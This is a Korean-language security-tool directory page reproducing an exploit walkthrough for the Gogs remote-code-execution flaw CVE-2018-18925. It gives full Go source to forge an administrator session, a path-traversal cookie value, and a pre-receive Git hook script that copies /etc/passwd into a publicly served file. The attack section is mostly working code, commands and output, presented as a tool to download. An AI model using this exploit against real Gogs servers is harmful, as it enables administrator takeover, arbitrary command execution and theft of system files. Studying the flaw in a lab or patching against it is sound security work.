Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Gogs_RCE — 세션 위조 및 Git 훅 주입을 활용하여 루트 권한으로 임의 명령 실행을 달성하는 Gogs RCE(CVE-2018-18925) 익스플로잇. | Kitploit
도구/GitHubGitHub/jas502n/gogs_rce
Authentication & AuthorizationPrivilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubjas502n/gogs_rce

Gogs_RCE

세션 위조 및 Git 훅 주입을 활용하여 루트 권한으로 임의 명령 실행을 달성하는 Gogs RCE(CVE-2018-18925) 익스플로잇.

저장소 보기
16436년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Gogs_RCE 취약점 재현

0x01 프론트엔드에서 일반 계정 등록

0x02 go 컴파일로 관리자 세션 위조

go run main.go

root@kitploit:~
package main

import (
    "bytes"
    "encoding/gob"
    "encoding/hex"
    "fmt"
    "io/ioutil"
)

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
    for _, v := range obj {
        gob.Register(v)
    }
    buf := bytes.NewBuffer(nil)
    err := gob.NewEncoder(buf).Encode(obj)
    return buf.Bytes(), err
}

func main() {
    var uid int64 = 1
    obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "root"}
    data, err := EncodeGob(obj)
    if err != nil {
        fmt.Println(err)
    }
    err = ioutil.WriteFile("data", data,0777)
    if err != nil {
        fmt.Println(err)
    }
    edata := hex.EncodeToString(data)
    fmt.Println(edata)
}

현재 디렉터리에 data 파일이 생성됩니다.

root@kitploit:~
root@kali:~/go/demo# cat readme.txt 
go run main.go 

0eff81040102ff82000110011000005aff82000306737472696e670c0a00085f6f6c645f75696406737472696e670c0300013106737472696e670c05000375696405696e7436340402000206737472696e670c070005756e616d6506737472696e670c060004726f6f74
root@kali:~/go/demo# cat data |xxd
00000000: 0eff 8104 0102 ff82 0001 1001 1000 005a  ...............Z
00000010: ff82 0003 0673 7472 696e 670c 0a00 085f  .....string...._
00000020: 6f6c 645f 7569 6406 7374 7269 6e67 0c03  old_uid.string..
00000030: 0001 3106 7374 7269 6e67 0c05 0003 7569  ..1.string....ui
00000040: 6405 696e 7436 3404 0200 0206 7374 7269  d.int64.....stri
00000050: 6e67 0c07 0005 756e 616d 6506 7374 7269  ng....uname.stri
00000060: 6e67 0c06 0004 726f 6f74                 ng....root
root@kali:~/go/demo# 

0x03 일반 사용자가 새 버전 게시

첨부 파일:

http://10.20.24.189:18080/attachments/c58bf501-7163-44a8-b77d-79c8396609bb

cookie 필드 i_like_gogits를 새 버전 파일 경로로 설정하고, 파일명의 앞 2글자를 경로 앞에 이어 붙입니다. 예:

attachments/c58bf501-7163-44a8-b77d-79c8396609bb

i_like_gogits=../attachments/c/5/c58bf501-7163-44a8-b77d-79c8396609bb

0x04 페이지 새로고침 후 root 관리자 계정으로 전환

수정 후

root 계정

0x05 저장소 설정, Git 훅 관리, 훅 이름 pre-receive

서버가 Linux 플랫폼인 경우, 셸 스크립트를 직접 작성하여 명령을 실행합니다.

명령은 저장소에 새 파일을 업로드한 후에 트리거됩니다.

0x06 명령 결과 확인 - 관리 패널 - 애플리케이션 구성 관리 - 정적 파일 루트 디렉터리

정적 파일 루트 디렉터리를 통해 절대 경로를 얻습니다. 예:

root@kitploit:~
静态文件根目录    /app/gogs

shell 스크립트 내용:

cat /etc/passwd > /app/gogs/public/js/1.js

웹사이트 응답 경로:

https://127.0.0.1:3000/js/1.js

참고 링크:

Cannot execute custom hooks on Windows #4255

https://github.com/gogs/gogs/issues/4255

https://github.com/vulhub/vulhub/tree/master/gogs/CVE-2018-18925

도구 다운로드